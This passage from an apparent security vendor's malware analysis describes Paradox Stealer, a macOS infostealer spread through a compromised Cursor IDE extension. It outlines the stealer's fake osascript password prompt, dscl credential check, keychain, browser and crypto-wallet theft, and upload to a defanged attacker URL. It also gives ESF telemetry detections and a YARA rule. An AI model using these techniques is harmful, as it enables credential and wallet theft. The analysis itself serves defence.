Paradox Stealer initialises by preparing the initial directory structure that is used to stage collected data. It then follows with typical Infostealer system reconnaissance tasks.

1. System Profiler: Executes the shell command, system_profiler SPSoftwareDataType SPHardwareDataType
2. Public IP: Uses Golang’s HTTP client to make a request to https://freeipapi.com/api/json/ and https://api.ipify.org/?format=json in order to determine public IP and approximate geographic location.
3. User Password Prompt via AppleScript: Uses osascript to display a credential prompt. The entered password is validated with dscl /Local/Default -authonly <username> <password>.

With initial reconnaissance captured, the stealer checks for ~/Library/Keychains. If the directory exists, it copies it into its staging location. The user’s keychain on macOS is protected with the local account password that was harvested during the initial system information collection phase.

It then enumerates installed browsers and identifies active profiles. From there, it searches for credential stores and other sensitive files such as cookies, saved login data and browsing history. Paradox Stealer supports most common Chromium and Gecko based browsers, although it does not target Safari. The absence of Safari support is likely due to the higher barrier to accessing Safari data given its tighter integration with TCC.

It also examines extension directories and compares them against a predefined list of cryptocurrency wallet extensions.

The stealer checks for Telegram and Discord next. If either application is installed, it extracts the stored chat data. It follows the same pattern for cryptocurrency wallet applications, such as Exodus or Electrum, by collecting their on-disk data stores.

All extracted data is finally compressed into output.zip with Golang’s archive/zip package. This archive is then exfiltrated to the same domain used throughout the attack, https://function[.]undefined21[.]com/upload, using Golang’s native HTTP client.

Detection Opportunities

Malicious Extension Load (ESF Visibility)

In this campaign, the earliest point of visibility comes from the moment the IDE loads the malicious extension. Apple’s Endpoint Security Framework (ESF) exposes file-open events (ES_EVENT_TYPE_NOTIFY_OPEN) that clearly show the IDE accessing the specific compromised package from this attack. For Cursor, the extension is loaded from:

source_binary_path:/Applications/Cursor.app/Contents/MacOS/Cursor
source_signing_id:com.todesktop.230313mzl4w4u92
filepath:/Users/alfie/.cursor/extensions/ether.solidity-0.0.191-universal/package.json

Suspicious Behaviour Originating From the IDE

Once loaded, the compromised extension initiates a predictable chain of actions that are uncommon for legitimate IDE behaviour. Using ESF process exec telemetry (ES_EVENT_TYPE_NOTIFY_EXEC), helper processes can be seen writing the Paradox Stealer binary to a temporary directory, modifying its attributes, and executing it.

The second stage script leverages Node.js child_process.exec() to spawn bash, which then executes commands such as chmod and xattr:

parent_binary_path: /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)
parent_signing_id: com.github.Electron.helper

source_binary_path: /bin/bash
source_signing_id: com.apple.bash

binary_path: /bin/chmod
signing_id: com.apple.chmod
process_args: chmod +x xoxoxoxxx

The final payload is written and launched from a transient path under /private/var/folders, a location that legitimate IDE helpers rarely execute arbitrary, unsigned content from. Execution originating from this directory by an IDE-associated helper represents a strong behavioural detection opportunity.

Paradox Stealer

If the payload executes successfully, the following signals form typical points of detection for infostealer behaviour, including Paradox Stealer.

• osascript prompting for user credentials
• Unexpected dscl -authonly authentication attempts
• Direct interaction with the keychain by unsigned or untrusted binaries

Once running, Paradox targets high-value browser and wallet data. Unusual access to browser cookie stores, cryptocurrency-related extensions, or credential repositories provides high-confidence signals that the malware has entered its data-theft stage.

Further analysis of the Paradox Stealer codebase shows a modular design with folders dedicated to discovery, extraction and related functions. Based on the exposed function names, Phorion developed the following YARA rule that can be used to detect the payload.

rule MAL_Paradox_Stealer_Nov25 {
    meta:
        description = "Compiled Go binary for Paradox Stealer"
        author = "Phorion"
        date = "2025-11-26"
        score = 70
    strings:
        $n = "paradox_payload" ascii wide
        $f1 = "CheckBrowserDirectories" ascii wide
        $f2 = "CheckCryptoDirectories" ascii wide
        $f3 = "CheckKeychainDirectories" ascii wide
        $f4 = "CheckCommunicationAppDirectories" ascii wide
        $f5 = "ExtractBrowserData" ascii wide
        $f6 = "getMacOSPasswordViaAppleScript" ascii wide
        $f7 = "GetIPInfo" ascii wide

    condition:
        filesize < 10MB and
        (uint32(0) == 0xfeedface or    // the mach magic number
         uint32(0) == 0xcefaedfe or    // NXSwapInt(MH_MAGIC)
         uint32(0) == 0xfeedfacf or    // the 64-bit mach magic number
         uint32(0) == 0xcffaedfe or    // NXSwapInt(MH_MAGIC_64)
         (
            uint32(0) == 0xcafebabe and    // Mach-O FAT binaries
            uint16(4) < 0x30               // Avoid Java classes
         )) and
        all of them
}

Phorion’s Approach

Phorion’s macOS-native EDR detected and prevented the Paradox Stealer payload before it could execute. This matters in the context of infostealers because detection alone is rarely enough to protect sensitive data. Once a process reaches browser storage or keychain paths, the window to prevent theft is small.

If an infostealer does execute, Phorion’s cookie theft protections provide an additional layer of defence. These controls block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. The design interrupts infostealers early in their workflow and significantly reduces the chance of data leaving the device using a behavioural methodology.

Effective investigation also depends on visibility. Phorion collects extension metadata from IDEs such as Cursor and VSCode, enabling rapid identification of hosts running malicious or backdoored packages. This shortens the investigation cycle and simplifies response during active incidents.

Interested in how Phorion defends macOS endpoints against threats like Paradox Stealer? Get in touch to arrange a demo.

Indicators